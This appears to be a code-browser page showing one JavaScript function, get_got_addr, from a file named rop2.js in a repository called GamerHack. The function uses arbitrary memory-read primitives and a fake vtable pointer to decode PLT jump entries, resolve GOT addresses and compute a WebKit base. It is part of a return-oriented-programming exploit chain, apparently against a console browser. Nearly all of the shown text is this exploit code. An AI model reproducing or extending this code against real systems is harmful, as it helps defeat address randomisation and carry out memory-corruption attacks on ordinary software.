MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / get_got_addr

Function get_got_addr

900v3/rop2.js:17–28  ·  view source on GitHub ↗
(idx)

Source from the content-addressed store, hash-verified

15var plt_ptr = read_ptr_at(fake_vtable) - 17100888;
16
17function get_got_addr(idx)
18{
19 var p = plt_ptr + idx * 16;
20 var q = read_mem(p, 6);
21 if(q[0] != 0xff || q[1] != 0x25)
22 throw "invalid GOT entry";
23 var offset = 0;
24 for(var i = 5; i >= 2; i--)
25 offset = offset * 256 + q[i];
26 offset += p + 6;
27 return read_ptr_at(offset);
28}
29
30//these are not real bases but rather some low addresses
31var webkit_base = read_ptr_at(fake_vtable) - 0x1000000;

Callers 1

rop2.jsFile · 0.70

Calls 2

read_memFunction · 0.50
read_ptr_atFunction · 0.50

Tested by

no test coverage detected